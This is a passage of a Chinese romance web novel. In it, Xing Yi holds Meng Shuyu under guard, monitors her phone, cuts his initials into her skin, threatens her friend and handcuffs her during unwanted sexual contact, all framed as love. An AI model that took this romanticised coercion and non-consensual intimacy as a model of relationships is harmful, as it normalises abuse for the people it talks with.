她挣扎得发丝凌乱,浑身发软,连咬他的力气都没有。 邢屹把她吻到双眸失神,他尽兴而退,指腹摩挲她湿漉漉的嘴角,嘲讽她,“自找的,给我受着。” 她一下被他惹哭,哆嗦着肩膀抽泣,“我生理期还没完,你想怎样” 他似是觉得新鲜,眼神轻佻不屑:“拿这个威胁我?” 于是一只手掐揉她,揉到她喊出声来他也不停。 “软的不吃非要吃硬的,谁给你惯的臭毛病。还蹬我?” 她就要蹬,一股脑地专挑他要害蹬。 “离我远点!你就该吃饭吃到虫子,出门踩狗屎!邢屹你变态,你神经病,混蛋败类衣冠禽兽!” 他不但不在乎,反而笑得胸腔震动。 “三年前你就这么骂我,一点长进都没有。” 她气急败坏掐他挠他,双手作案未遂,被他束缚着压按在头顶,邢屹低头咬住她颈侧的软肉,甚至像狼一样叼起来。 又痒又疼,她像化开的糖霜一样呜咽出声,他仿佛很受用,舌尖在她脉搏上轻轻舔舐,浑沉气音迎上她鲜红欲滴的耳垂:“宝宝,怎么全身上下哪儿都这么软。” 她气炸:“你变态!” “会不会骂人?”他恶劣地轻笑,热气扑在她耳边,教她骂,“邢屹畜牲,下流混账,操他祖宗十八代。” 孟纾语咬牙别过脸,无力跟他对抗。 邢屹黑沉沉的目光注视她,一边抚摸她颤抖的身体,手掌在她肋骨处压一片红印,再用指腹狠狠摩挲。 好像划了个十字,她被火辣的刺痛感侵夺了意识,低吟时在他身下挺起腰,像某些时刻被他折腾出的临界反应。 等她回神时,邢屹已经从她身上下去,径直走进浴室。 她惊惧又恍惚,慢慢撑坐起来。 视线垂落下去,一时难以置信。 邢屹在她肋骨处,重重留了几道红痕,颜色越来越深,现在还火辣辣的疼。 手指划出来的特殊印记,两个大写字母。 XY- 孟纾语起床之后头昏脑涨。 不知是被邢屹气的,还是生理期惯常的头痛症状。 她吃不下早餐,只喝了一杯热橙汁,收拾单肩包准备去公司实习。 走出院门,门口停了两辆车。 一辆是日常接送她上下班的轿跑,司机是邢屹新雇的人。另一辆是深色吉普,似乎负责随行。 她顺着吉普车窗往里看,两个人高马大的深肤色打手坐在里面,随时准备启动汽车跟上她。 紧接着,院门进来一拨人,路过她时,微笑对她颔首问好。 孟纾语看见他们抬进来的工具,五花八门,好像是用来封阳台的。 她咬咬唇,一口气上不来。 回身,邢屹远远走来,身上没个正形地挂着一件戗驳领西服,他慢条斯理舒展肩背,手臂伸进外套衣袖,一边穿衣服一边踏下正门台阶。 孟纾语等他走近,她紧攥着肩上的包带,瞪他:“我不喜欢被人跟着。” 邢屹根本没当回事。 他站在她面前,手里拿了根领带,硬挺的深色料子像短鞭一样被他捋直,他玩弄着手里的东西,偏额打量她,眯起眼仿佛听不清:“所以呢?” “所以你快点让他们走。” 邢屹无声笑了下,兀自把领带绕她腕上,眼神直勾勾锁着她:“我给你的东西,无论是什么,你都没有资格退回。” 无力感兜头而下。 她红着眼眶:“我连说不的权利都没有吗?” “当然可以。至于我答不答应,另说。”他看了看绕在她腕上的领带,又掀起眼皮掠她一眼,“帮我打个领带。” 她气闷不已,他居然还有脸让她帮他打领带。 “你自己不会吗?” 她甩甩手腕把领带还给他。 邢屹稳稳接住领带,另一手摁住她后脑勺,点了死穴一样,她顿时动弹不得。 他低头看她,眼神深邃而专注,在旁人看来仿佛要接吻,其实没有。 “昨晚扇我一巴掌,他们都看着呢。”他压低了音量,嘴唇张合幅度很小,几乎是从齿缝里挤出来的,气音懒散而蛊惑,“给我挽回点儿面子行不行?” 挽回个头。 “是你活该。” 他轻声笑: “那你能不能给活该被扇的人打个领带?” 她攥着衣角不说话,他的手慢慢往下移,手指绕着她垂落的长发,抚到她后颈位置,按着她软肉掐了掐。 很怕痒,她肩膀一哆嗦。 专挑弱点攻陷,他眼底押着不太走心的笑,恶劣轻浮地问:“到底能不能?” 孟纾语耐着性子,从他手里夺过领带。 唰一下绕到他脖子上。 邢屹轻啧了声:“怎么感觉你想掐死我?” 那你感觉真准。 孟纾语暗自腹诽,三两下给他打好了领带,转身打开车门。 顿了顿,转头说:“他们离我近一点,你就离我远一点。” 说完就要坐进后排,邢屹突然按住车门,把她稀里糊涂往里一塞,自己也跟着坐进来。 车门砰一下关上。 他命令司机:“开车。” “” 孟纾语往旁边挪了挪,全程贴着车门坐。 按下车窗,一阵寒风灌入,几粒小白点随风旋卷,落到她鼻尖,冰凉凉的。 下雪了。 一年又一年,时间过得好快。 母亲忌日快到了,想回宁城看一看小树。 可是她现在完全被绊住,连出个远门的自由都没有。 孟纾语关上车窗,靠着椅背沉默。 邢屹在一旁闭目养神,昨晚貌似没睡好。 她瞥一眼他冷森森的侧脸,开口说:“我放假要回家。” 邢屹闭着眼敷衍:“再说。” 他的再说,就是再也没提起过。 一周后,邢屹带她回老宅吃午饭。 邢老爷子好久没见她了,在餐桌上问起她的近况。 她心不在焉搅着小碗里的汤,轻声说:“谢谢您关心,我最近都挺好的。” 邢钟宏兀自点点头,看一眼邢屹。 邢屹吃着吃着就划起了手机,对饭菜一点兴趣都没有。 老爷子静静看着他,意味深长说:“你啊,别太过火。” 邢屹浑不在意,眼皮都不撩一下:“我又怎么了?” 邢钟宏无可奈何,打鼻子眼儿里出气:“你怎么了,你自己知道。” 看来邢皓南跟老爷子告状了。 蠢货一个,卖惨卖惨,越卖越惨。 邢屹没拿那家伙当回事,索性也懒得搭话。 孟纾语这几天心事重重,没什么胃口,吃饭吃得很慢。 下意识抬眼环顾一圈,好像大家都吃饱了,就她一个在小鸡啄米。 有点不好意思。 老爷子和蔼一笑:“没事儿,慢慢吃。” 她正犹豫要不要说自己吃饱了,恰好星星从院子里跑进来,手里抓一个黑色的东西,边跑边喊她:“姐姐!给你礼物!” 她应声放下勺子,侧过身迎他。 “什么呀?” 星星从座椅缝隙里钻进来,小小一只趴在她膝盖上,把东西递给她看:“这个!” 一颗乌漆嘛黑的蝉壳。 孟纾语最怕这种东西,哇一声退开,身子撞进邢屹怀里。 他顺手环住她的腰,在她耳后轻啧一声:“投怀送抱。” “” 她立刻直起身子坐好,强忍着不适,从星星手里接过蝉壳。 让人头皮发麻的纹路和质感。 “嗯,很可爱” 其实看都不想多看一眼。 邢屹从她手里拿过这玩意儿,一边把玩,一边将手臂搭到她肩上,脑袋靠过来,悠闲自在地说:“蝉在蜕壳的时候,头先出来,然后身子一抽一抽的,慢慢从裂缝里钻出来,有时还会带出一点粘液——” “啊你别说了!”孟纾语恨不得捂住耳朵。 邢屹还要往下说,星星化身判官,在桌下扯扯他哥的衣角:“哥哥,不可以吓唬姐姐。” 真是出息了。邢屹低笑一声。 这小萝卜明明是他养大的,性格却跟他一点也不像。 排除自闭症带来的内向,星星的性子其实很像孟纾语。心软,脾气好,怜悯心泛滥,还爱哭。 “姐姐不喜欢小虫子,我记住了。”星星眼巴巴望着他哥说,“你也要记住哦。” 邢屹眼神不屑,掠了小不点一眼。 人小鬼大,还敢教他做事。 星星这么小已经学会将功补过,拉孟纾语到院子回廊里玩过家家。 她正好顺理成章离开餐桌,不再慢吞吞啄米。 室外光线很淡,还在下雪。 孟纾语裹着一件白色羊绒大衣,坐在回廊一侧,转头看着半空中飘摇的细雪,伸手去接。 后知后觉,有人在给她戴发饰。 她回过神,星星给她戴了一片纯白头纱,乐呵呵看着她。 “新娘诶。” 她一愣。 手指捻了捻垂落肩上的白纱,下意识问:“那谁是新郎?” 星星回身,目光茫然找寻。 正好邢屹出现在中式回廊的转角,迈着一双长腿不疾不徐走过来,神情闲适,边走边套一件黑色大衣。 星星目光一亮。 “哥哥!” 邢屹穿好衣服,半蹲下来,招猫逗狗一样朝前拍拍手。 “小鬼,过来。” 星星噔噔噔跑过去,伸手在小口袋里掏摸,拿出一个领结。 给邢屹戴上。 回头对孟纾语挥挥手:“姐姐!新郎在这里!” “” 气氛微妙。 孟纾语很想现在就把头纱摘了。 但是不能扫了小朋友的兴。只能忍辱负重了。 星星眨眨眼睛讨夸,邢屹不置可否,直接在小不点头上用力揉一把。 没白养。 他走了过来,孟纾语别过脸,若无其事看庭院里雪片飘落,树枝砸落的积雪惊飞一只小寒雀。 邢屹站在她面前,玩弄似的拎起她头纱一角,嗤笑一声:“还挺像那么回事儿。嫁给我算了。” “不可能。”嫁给他吗,简直噩梦成真,孟纾语后背一凉,“谁想嫁给你这样的败类。” 邢屹这几天被她骂了不下一百句,什么衣冠禽兽,无耻之徒,人渣,畜牲,败类。 零零散散贴了他一脑门的罪状。 他不悦地动了动腮帮子,转头对星星说:“脸靠墙,眼睛闭上,玩儿捉迷藏。” “好~”星星趴墙照做,眼睛压在手臂上乖乖问,“数多少个数才可以睁眼呀?” “一万。” “好~” 星星真的开始从1开始数。 邢屹这个人面兽心的混蛋,孟纾语真的很想报警抓他。 她气呼呼把玩具头纱摘下来。 “你干嘛啊无缘无故欺负人家小孩子。” 他垂眸看着她,眼底押着一层不可细想的讽意,嘴角牵起戏谑的笑。 “不欺负他,那我欺负欺负你?” 说着,突然捞起她的腰把她抱起来。 她踉跄几步被他压到回廊柱子上,他直接掐着她后颈吻过来,她最后一声抵抗被他凶狠吞没。 室外凛冽的风划过两人纠缠的热意,邢屹毫无克制,绞着她的舌头穷追不舍,勾得她情难自控溢出一声软吟。 她身上的外套不知何时被他扒落,可怜兮兮堆在她脚边,邢屹直接托着她腿根把她抱起来,一手圈着她的腰,另一手摁着她后脑勺,舌尖往更深处探去。 放肆的接吻声盖过寒风呼啸,她全程被动,邢屹大开大合地吞她,沉喘声撩得她脊骨酥麻,她没有机会换气,缺氧到面颊滚烫,只能迷迷糊糊搂着他脖子。 邢屹抱着她走到回廊尽头,肩膀顶开一扇门,进去就翻身把她压在门上纵情接吻。 喘息声起此彼伏。 忽然间,她闻到一丝檀香。 这里是 摆放邢家列祖列宗牌位的房间。 惊得她用力锤他:“邢屹你干嘛!大不敬!” 他百无禁忌,根本不管这些。 下一秒以吻封缄,宽热的手伸进她衣摆,摸她肋骨。 印记还在。 每次快消的时候,他就再划一道,一次比一次狠,以至于这一次的印记是由一层浅浅的淤血组成。 关于他名字的英文首字母,清晰鲜红地刻在她身上。 他指腹摩挲,好不容易消下去的疼痛又被唤醒。 两人的唇紧贴着,她囫囵抱怨:“很疼啊” 尾音落下,难捱的眼泪也跟着滑下来。 她哭了。 可是他这次不哄了。 邢屹磨着她的唇,喘息声含在沙哑嗓音里:“疼才长记性。” 她挂在他身上被他搓来揉去,滑落的眼泪被他顺着亲吻幅度一并吞没,肋骨留印的地方疼得发烫,他故意拿掌心压着,给她多一层淋漓尽致的体验。 孟纾 语掐着他肩膀,指尖深深陷入,剥离这个欲生欲死的吻,埋头掉泪,“你变态,冷血无情” “骂完了吧。”邢屹懒恹恹耷着眼睫,边喘边问,“现在能跟冷血无情的人回家了吗。” 第54章 其实我需要你 她湿漉漉的眼尾落了一记轻吻。 “别哭了。” 邢屹把她放下来,她靠在门后埋头擦泪,他捧起她的脸。 真能哭,泪水沾在他手上越擦越湿,他索性用衣袖给她擦。 她毫不客气,眼泪鼻水全蹭上去,管他有没有严重洁癖,反正他递过来她就擦。 衣袖被她蹭湿一片,邢屹似乎根本不在意。 她累了也就不哭了,原地吸一记鼻子,邢屹低头捏捏她红透的鼻尖,指腹擦去她眼角残存的泪水,打趣她:“这里全是我祖宗,当着他们的面你还哭这么惨?” 孟纾语呼吸一顿,望一眼正堂中央层层高耸的深色牌位,心里不禁打鼓。 扰了他列祖列宗的清净。 可这明明不关她的事。 “是你把我带进来的。”她哭红的眼睛瞪着他。 邢屹抵着她额头犯浑说:“不就想让他们瞧瞧我老婆。” “谁是你老婆。” 她推开他,转身开门出去。 星星还在回廊另一头蒙眼数数。 托混蛋的福,这么乖的小孩都要被骗。 孟纾语小跑上前,低身把小萝卜翻个面。 “好了星星,我们不数了。” 小孩揉了揉眼睛,懵懵问:“我们不玩捉迷藏了吗?” “不玩了,你哥是坏蛋,我们不跟他玩。” 孟纾语牵起他的手,准备带他回屋。 他有点沮丧:“姐姐,明天我又要去学校了。” 她止步,蹲下来看他。 “怎么啦,不想去吗?” “嗯有人说,我有病。” 担心的事情还是发生了。 六七岁的小孩都鬼灵得很,学校里自然会有机敏的孩子,发现星星异于常人的端倪。 孟纾语刚要安慰,身后有人开口:“你没病,别听那些人瞎说。” 她回头,邢屹直接把弟弟抱起来高高举起,动作像玩闹,语气却没有半点开玩笑的意思:“听清楚,你很正常,朋友喜欢你,外公疼你,哥也疼你。你没病。” 就像对一个病人说,其实你没什么大病。于是对方心情愉悦,有极大的概率提前治愈。 星星在空中晃了晃手脚,似乎觉得被举高高很有趣,他乐呵点头:“好,我听哥哥的。” “这不就对了。” 邢屹掂了他一下。 “想不想再高一点?” “想!” 孟纾语站在原地,看着邢屹把小不点抛起来,又接住,玩得不亦乐乎。 她好像明白了。 为什么他那么憎恨亲生母亲,却一点也不排斥这个同母异父的弟弟。 因为他在借此治愈他自己的曾经。 如果从少年时期开始,有人站在他面前对他说,“邢屹,你不是心理变态,你很好,你值得被爱”,或许他就不会变成现在这样。 孟纾语低头沉思,慢慢坐到回廊条凳上。 不知过了多久,眼前突然打了个响指。 邢屹给她披上外套,捏她脸颊。 “回家了。” 傍晚上车后,星星跑出来,踮脚扒在车窗边沿,把邢屹摘落的领结塞给他。 一个玩具领结,还是塑料的,邢屹表情嫌弃,顺着车窗把它丢还给弟弟。 “给我干什么?丑得要死。” 星星攥着领结控诉:“哥哥,你这样说话,是娶不到老婆的。” 邢屹脸色一黑。 “谁教你这些?” 孟纾语默不作声坐在他旁边,指节碰了碰鼻梁。心说连小孩子都懂的道理,就你不懂。 他们家的基因真的很神奇。 邢漫芊一共生了两个孩子,一个出类拔萃但是心理变态,至今学不会正确的爱。另一个患有自闭症但是内心温实,天生就有爱人的能力,甚至只要从外界接收到一点爱,就能双倍回馈。 星星叹气说:“哥哥,你要是想娶一个女孩子,就要说好话,做好事,哄她开心呀,不可以让她生气的。” 邢屹喉结一动,漫无目的看着路边积雪,屈起指节搔了搔眉心。 语气不当回事:“行了,你赶紧回去吧。方姨,过来把他抱走。” 他烦心倦目,升上车窗玻璃收回视线。 “开车。” 司机应声启程。 孟纾语已经借着刚才的一分钟,订好了下周回宁城的机票。 邢屹不动声色瞥她一眼,她立刻退出界面,手机倒扣在腿上。 “孟纾语,你假动作有点多。” “”她低头,手指刮了刮手机背面,通知他,“我下周就回家。” 邢屹无动于衷:“等我忙完这段时间,下个月陪你回去。” 下个月那么久,新年都快到了,谁知道他承诺的是真是假。 况且,凭什么事事都要顺他的意。 她心口莫名堵着一块石头。 必须把它击碎。 “回家是一件很小的事,也是我自己的事,为什么要征求你的同意。” “因为你属于我。” “你出门吃药了吗。” 软禁她,监控她的手机,限制她跟亲人朋友的联系,又在她肋骨周围划了几道印记,仿佛打下属于他的烙印。 这些还不够吗,现在还要彻底掌控她,不允许她离开他身边,哪怕回个家都不行。 她气得肺疼,而身边的男人波澜不惊,总有自己的道理。 “孟纾语,我不希望每天醒来看不见你。” 话音甫落间,她反应慢了半拍,仿佛被羽毛轻扫了一下心尖,余韵漫长的痒。 转头看去,邢屹侧脸对着她,整个人气定神闲,一手撑着太阳穴,百无聊赖看窗外飞驰的树影。 一切如常,云淡风轻。 他蛊惑人心的能力显然很强,上一秒差点让她犹豫。 半晌,孟纾语强行调整好状态。 心神落定,任凭他怎么说,她依旧决定下周就走- 七天就这么过去。 意外的是,邢屹在这一周里过度忙碌,高烧不退,在病房躺了一天,现在还在吊水。 是坏事也是好事。 邢屹不在家,孟纾语借机收拾好行李,一大早拎着箱子出门。 不料被三名保镖拦在别墅门口。 她紧攥着行李箱拉杆,沉下一口气:“请你们让开,我赶着去机场。” 拿钱办事,办不好就要被炒,保镖只能铁面无私:“孟小姐,邢先生交代过,您现在还不能出去。” “他说的话我一定要听吗?我要回去看我妈妈,你们别再拦我了。” 对方建议:“或许您可以让您母亲过来看您。” 孟纾语喉咙一哽,攥着拉杆的手紧绷到骨节泛白。 “抱歉,我妈已经去世了。”而我很想她。 保镖 神情怔愣,似乎无话可说。 孟纾语不顾他们阻拦,拉着硕大的行李箱踏下台阶。 没走几步,忽然听见逐渐减速的车辙声。 抬眼看去,车子已经停在门口。 邢屹从后排下车,上身深黑色高领,手臂搭着一件长款大衣,似乎懒得穿,身形一如既往的笔挺,神情没有一丝病恹感。 他随性甩关车门,冷冽目光撞开半空中飘摇的细雪,直直落到她身上。 孟纾语定在原地,目光飘忽一瞬,心跳顿时加快。 邢屹走上前,硬生生拿走她的行李箱,直接交给保镖。 她拧得手腕都疼了,还是抢不回箱子。 很无力,邢屹总是不合时宜地出现,用各种或轻或重的手段,切断她每一条退路。 哪怕她这次只是想回家看看,并没有跟他作对的心思。 她太阳穴一阵抽痛,抬头跟他对峙。 “我已经跟你说过了,我今天就是要回家,你再怎么拦也没用。” 邢屹目光戏谑,伸手帮她理了理歪斜的围巾,轻笑一声:“我在医院待了一天,你就趁火打劫?” “是你趁人之危。”她看向那位神情紧绷误入战场的保镖,严肃伸手,“还给我。” 对方为难片刻,见邢屹没什么反应,于是悄声松开手,孟纾语见机直接把箱子拿过来,绕过眼前这个不可理喻的男人,径直踏下台阶。 邢屹冷淡开口:“确定要走?” 她步伐不停。 “你不是看见了吗?还要问。” 刚要走出院门,耳后传来一句轻描淡写的警示:“你是不是忘了,你那位精神状态不太好的朋友,现在还在国外。你要是走了,我不保证她的人身安全。” 孟纾语停下脚步,心凉了半截。 他总是拿她最在乎的人来威胁她。 沉默片刻,她摘下无名指的戒指,转身想也不想,朝他站立的方向用力一扔。 咣当一记,戒指不见踪影。 话就撂在这儿:“如果她死了,你也别指望我活着。” 邢屹远远看着她,眼底闪过一丝罕见的错愕。 孟纾语推开院门,迎着风雪继续往前。 印在雪地上的脚印,连起来不过数米。 忽然被人从身后抱住。 “明天再走。”他鼻尖蹭着她耳朵,嗓音沙哑拂落,“再陪我一天。” 她气结,拧着肩膀挣开他:“我不要!” 邢屹收紧手臂,呼吸深埋下来,额头蹭过她颈窝。 她身形一滞,这才发现他体温这么烫,烧还没退。 他喘息很重,中途短暂的气息停顿,竟让人产生一丝他在颤抖的错觉。 因为咳嗽一整天,他声音已经哑得不成样子:“孟纾语,我需要你。” 她鼻梁一酸。 “你才不需要我,你只需要一个对你言听计从的人。” “不是。” “明明就是,你软禁我,想方设法让我听你的话,我什么都拒绝不了” “嗯,都怪我。”他埋在她肩上低喃着,“我有病。我心理变态,治不好。” 孟纾语恍然想起,那天在老宅,邢屹对星星说的话。 有时只是轻飘飘一句,对人造成的负面影响却是覆水难收。 或许她不该骂他有病。 可是事实难以否认,她也不能睁眼说瞎话。 索性沉默,不赞同也不反驳,只当他在自言自语。 邢屹顺着她颈侧蹭到她脸颊,气息热烘烘洒落:“孟纾语,你图不图我钱?” “啊?” “小鬼说,要想办法逗女孩子高兴。想来想去,还是钱比较实在吧。花钱买你陪我的时间,一天七位数,够不够?” “” 她半晌没应,邢屹轻轻掰过她脸颊,在对视中追问:“钱也不要?” 她吞咽一下。 “不要。不义之财。” 刚说完,邢屹忽然拿出手机。 真给她转了一笔。 孟纾语登时局促,这都什么跟什么呀,突然进这么大一笔钱,银行会不会怀疑她在搞诈骗啊。 坚持要给他退回去,邢屹夺过她手机,把她抱到行李箱上坐着。 他双手撑在箱顶两侧,虚虚圈住她,低身打岔:“钱也收了,做个交易不过分吧。” 她下意识警惕,被他意味深长的眼神盯得稍稍后退,下巴埋进围巾里。 声音被毛线闷着:“就多陪你一天,你想要什么交易。” 邢屹伸手过来,勾着食指把她掩耳盗铃的围巾轻轻往下扯,露出她小半张脸。 这下毫无遮挡,她戒备的表情全然暴露在他眼底,他耷着眼睫笑了下,对她说:“就像以前一样,跟我说一句话。” “什么话?” “要我抱抱。” 第55章 现在只想*你 真是图穷匕见。 孟纾语眨两下眼睛,视线飘忽。 “不说,不想说。” “不说就做。” 邢屹突然凑过来亲她脸颊,顺便趁火打劫把她手机抢了。 “你抢我手机干嘛!” 她起身去夺,他手臂伸得很高,非要逗她。 急得她踮脚又转圈。 “我要退票,快点还我。”手在半空中捞划两下,根本拿不到,“还我啊” 他十分配合地跟她原地兜圈,钓鱼一样从上方看她,饶有兴致眯起眼:“为了留下来陪我,你态度很积极啊。” 这人是不是烧糊涂了? 她皱眉抗议。 “才不是。退票晚了要收手续费的,好不划算。快点还我手机。” 这话不知戳到他那根神经,邢屹脸色阴沉,就着举高的姿势单手操作她手机。 改了八百回密码,他每次都能解开,一点隐私都不给人留。 眼看他手指在屏幕上来回点按,她还没从抢夺的氛围里回过神,手机已经塞回她掌心。 界面显示退票成功。 动作怎么这么快。 孟纾语背过身去,有点郁闷地翻划手机,查看这次扣了多少手续费。 不对。 她卡里现在有这么多钱,为什么要心疼退票手续费? 又惊觉,完了,她的思想被金钱玷污了。 邢屹没个正形地抱过来,下巴搭在她发顶,好像把她当成临时休息所,直接借着背后抱的姿势闭眼小憩。 很累吧病还没好就出院了。 孟纾语原地不动,胳膊肘向后轻轻戳一下他。 “钱我不要,退给你。” 他大概是很困,回话慢了几秒。 “你敢。” 果然还是这个臭脾气。 她好声好气商量:“那我把这张卡当成你的,就当存着。” 他冷哼:“跟我开情侣小金库?你想得美。” “” 怎么他说什么话都能让人来气。 孟纾语一个闪身从他怀里钻出去,随手抓了把积雪,团一个小雪球砸他。 没砸中,他一只手稳稳接住,表情分明困倦得不行,到底哪来这么多精力陪她打闹。 还嘲讽她:“就这点力气,你到底行不行啊。” 本来就没想把他砸疼。 孟纾语撇撇嘴,不自在地拍干净手,自顾把箱子往回拉,一边朝院门走去一边碎碎念。 “你到底是由什么特殊细胞组成的,跟手指上的倒刺一样,动不动就惹人生气,好想一口气拔掉你。” 邢屹慢悠悠跟上来,拿过她手里的箱子。 “要拔吗。那先回去插上。” 孟纾语几秒才回过味来,差点跳脚。 “你正经一点!” 他理直气壮:“我说什么了?自己想歪别怪我。” 真气闷。“就你有理。” 细雪飞旋,两人信步往前走,箱子轮滚碾过地上一层半薄积雪,发出细微声响。 他步子迈得大,孟纾语小碎步跟上他,边走边仰头看他说:“商量好了,就陪你一天,我明天就走哦。” 邢屹不置可否,径直推开半掩的金属院门,让她先进去。 她亮莹莹的双眸眨了一下,视线始终跟随着他,生怕他漏听一句,“还有,你把我朋友送出国,必须让她安全回来。要是她有什么三长两短,我就” 邢屹保持步伐,头都转不一下:“就怎样?” 她快速思考,专挑狠的说:“我就从天台跳下去。” 他对此不屑:“又拿自己的命开玩笑?” 在嘲笑她上一回气急翻阳台的凶猛操作。 她脸颊 红温,差点左脚绊右脚,镇定下来说:“那我不跳,我要把你从天台推下去,完成我的复仇计划。” 他这会儿倒是良心发现了,闲闲补充一句:“杀人犯法,牢底坐穿。” “那我也跳下去。” “真可怕,想跟我殉情。” “?” 邢屹先一步踏上台阶,她故意慢一步,攥拳对着他的背影虚虚捶了两下。 随后拾阶而上,刚想低头裹一裹松散的围巾,一团黑影突然压过来。 邢屹面对面倒在她身上,她惊得踉跄,使出浑身解数保持平衡,顿时手足无措。 “怎么了?” 他一声不应,黑茸茸的脑袋靠在她肩上,整个人仿佛喝醉一样不省人事,呼吸声沉重而失序,听得她心慌。 邢屹蹭在她肩头,低喃她的名字。 她心头一绞。 身前的男人可恶至极,让人讨厌又让人担心,她不禁喉咙发紧:“我在呢,我马上叫医生来家里,你等一下。”她伸手掏口袋,动作焦急凌乱,半天掏不出手机。 邢屹攥住她手腕。 “去医院,你陪我。” 他嗓音哑到咬字不清,最后一个字被尾音吞没,仿佛一声难捱的喘。 孟纾语被迫承受他全部的重量,沉得她骨头都要散了,转头看去,三个保镖在花丛埋头寻觅,似乎在自觉寻找她扔飞的戒指。 事赶事乱做一团,她头昏脑涨,朝那边喊:“麻烦你们过来帮个忙!” 就这样把人塞进车里,急忙送到医院 这间是他待过的高级病房。 护士如释重负:“真吓死我了,邢先生昨晚还在的,一大早人就拔了针管不见人影” 说时给他量了体温,已经烧到39度8。 不是装的。 于是又开始打吊瓶。 邢屹躺在病床上,左手背的针孔都泛青了。 他另手搭在额上,闭着眼,一股子懒恹倦乏的劲,似乎根本不在意自己烧到多少度。 护士叮嘱完便离开病房,孟纾语坐到床边,看了眼透明管中滴落的药液,一时不知该干什么。 直到他动动膝盖朝她后腰顶了一记,她轻吟一声捂着被他欺负过的地方,“你干嘛” 他嗓音泛哑:“除了干你还能干嘛。” “你,”她羞恼得语无伦次,目光埋怨,“你少说点浑话吧,都快烧到四十度了。” 邢屹懒笑一声。 “要不要试试四十度的?” 试他个头,一肚子坏水。 “你睡会儿吧,我回家一趟,待会儿再过来。” 她起身,邢屹睁开眼瞥她。 “多久?” 她觉得自己被怀疑了。 “干嘛,真的就离开一下下,你不用这么草木皆兵,我又不像你,总是骗人。” 邢屹又闭上眼,懒声懒调:“别让我等太久。” 孟纾语回到家,把笔记本电脑和纸质的实习日志一并放进包里,带回医院。 中途路过别的病房,听见有人哇哇大叫,似乎是受伤的部位不小心撞到了桌角。 声音撕心裂肺,让她想起之前在游轮上,邢屹表哥被他折磨时的惨叫声。 见血的恩怨,对方怎么可能轻易放下,绝对恨不得以牙还牙。 邢屹在门口朝她倒来的那一瞬,她不合时宜地感觉到,意外不止这一桩。 希望是第六感出错吧。 他对待别人一贯地恶劣,坏里为数不多的好,没给过别人。 只给了她。 孟纾语沉下心,加快脚步走向病房。 一开门,里面闹哄哄。 邢屹那帮发小赶过来看他,贱兮兮趴在病床边上。 “屹啊,你可千万挺住,你才23啊。” “对啊,小语妹妹还没答应嫁给你呢,你早死就太可惜了。” “现在是没有老婆的野人,死了就是没有老婆的野鬼了。” 邢屹一脸烦躁:“你们三个是不是有病。” 孟纾语慢步走进去,三个男生齐刷刷回头,笑着跟她打了声招呼,下一秒非常自觉地闪出去。 病房安静下来,她把电脑和书本放到靠墙的书案上,动作轻顿片刻,隔着几米回过身,正好撞进他好整以暇的目光。 她犹豫几秒,正经说:“你最近小心一点。” 邢屹靠着床头悠闲半躺,一手垫在脑后,偏额打量她。 “怎么,你要给我下毒?” 她无语凝噎。 “乱讲。我的意思是,你手段那么过分,身边有不少人记恨你吧。” 他浑不在意:“嗯,然后呢?” 孟纾语转过背整理物件,若无其事说:“万一有人记仇,私下报复你,比如偷偷往你车里放炸。药之类的,然后就像电影里演的那样,人一坐进车里,整辆车就炸了。” “哦。”邢屹淡声说,“最先被炸死的应该是林泽。” “你不要乱说,平时对林助好一点,人家很敬业的。” 邢屹无谓地笑了下,不置可否。 在病房待了一天。 到晚上,孟纾语坐在书案前兢兢业业写实习报告,邢屹冷不丁出声:“过来写。” 怕他又发难,她只好把本子拿过去,放在松软床沿,中间垫一本硬皮书,就这么写。 像个认真赶作业的小学生,邢屹静静打量她,伸手绕她的头发玩,她拍了他两下。 忙着应付他,一心多用,倦意悄然入侵。 本来想认真写完,不料直接倒在他掌心睡着了。 邢屹摸摸她脸颊,手掌托着她一小团柔软的脸颊肉。 半晌,她嘴角轻动,溢一声梦呓。 “邢屹” 他神情微动。 没想到下一句:“你等着,我要揍你一顿” 大学在散打社待了四年,连个皮毛都没学会,还想揍他。 邢屹靠在床头,微微歪着脑袋端详她,手指挑起她一缕长发,勾在指尖绕了绕。 孟纾语半梦半醒,身子一下子沉一下子轻,好像被人抱上了床。 莫名有点痒,她缓缓睁眼,目光所及,是邢屹贴在她身前上下起伏的脑袋。 她瞳孔一震。 他正撩起她衣摆,脑袋钻进来,亲吻她肋骨周围淡去的印记,甚至用舌尖轻轻舔/弄,勾出她一声轻软的喘息。 “你干嘛,这里是医院!”她试图用双手推他,却发现其中一只手动不了了。 惊慌抬眸。 手铐?! 他竟然把她铐在床头。 孟纾语怔得头皮发麻,邢屹压着她,手掌按着她腰两侧,舌尖动作停下来,撩起眼皮掠她一眼。 “很惊讶?” 她呼吸急促:“为什么锁我!” “因为一天不够。”邢屹撑在她身上,肩背微微拱起,低下头,呼吸埋在她胸口,沉声说,“想让你多陪几天。” 这人怎么这样! “说好只陪你一天啊” 他自有一套霸王逻辑:“一天有多长,我说了算。” 孟纾语后背一凉。 就知道他不可能一夜之间改邪归正。 她轻叹一声,没力气跟他硬碰硬,又考虑到他生着病,她心软。 于是用另一手摸他脑袋,手指陷进他有点扎手的黑发里。 “我总有一天要回去的,你就不能乖乖等我回来吗。” 邢屹从她胸前抬起头,幽邃目光自上而下注视她 ,喉结莫名动了一下。 她沉默几秒,尽管有点害怕,依旧温声对他说:“你好好养病,乖乖等我吧。” 邢屹眉心一动,突然在她颈侧咬了一记,有点疼,她倒吸一口凉气,继续跟他讲道理,“你考虑一下好不好?” 不知他抽什么风,好像被她话里哪个字眼撩拨到了,浑身燥意,他含住她耳垂恶劣逞凶,哑声说:“我现在只想*你。” 第56章 等待温柔回吻 热吻急覆而下,她大脑宕机,邢屹贴着她的唇沉喘深吻,压在她肋骨的手忽然绕到身后,指尖轻轻一挑,依附她颤抖的频率解开排扣。 混蛋怎么这么熟练! 孟纾语偏过头喘气,并紧的膝盖被他用力抵开,腰身周围又被他掐来揉去,她哪哪都顾不上,他迎着她的喘息肆意放浪,恨不得把她吞吃入腹。 一路从嘴唇被他吻到脖子,再到锁骨,呼吸心跳乱作一团,根本招架不住。 邢屹贴着她颈侧低喘吮吻,她视野凌乱,只能看见黑茸茸的脑袋在她身前蹭来蹭去。 “你又发。疯” 不是发疯,而是发。情。 他总有理由:“是你勾。引我。” “?” 她只是说了两句安抚的话,怎么就成勾。引。 “是你思想不纯洁,我明明在跟你谈正经事” 他哪管什么正不正经,只顾压着她到处乱蹭。 “做。爱就是正经事。” 她慌了神:“生病怎么做啊,你就不怕——” 等等。 掐在他肩上的手碰到他颈侧脉搏。 这一片本来很烫,现在却冷得惊人。 他的体温已经滑向另一个极端,她脑子轰的一下。 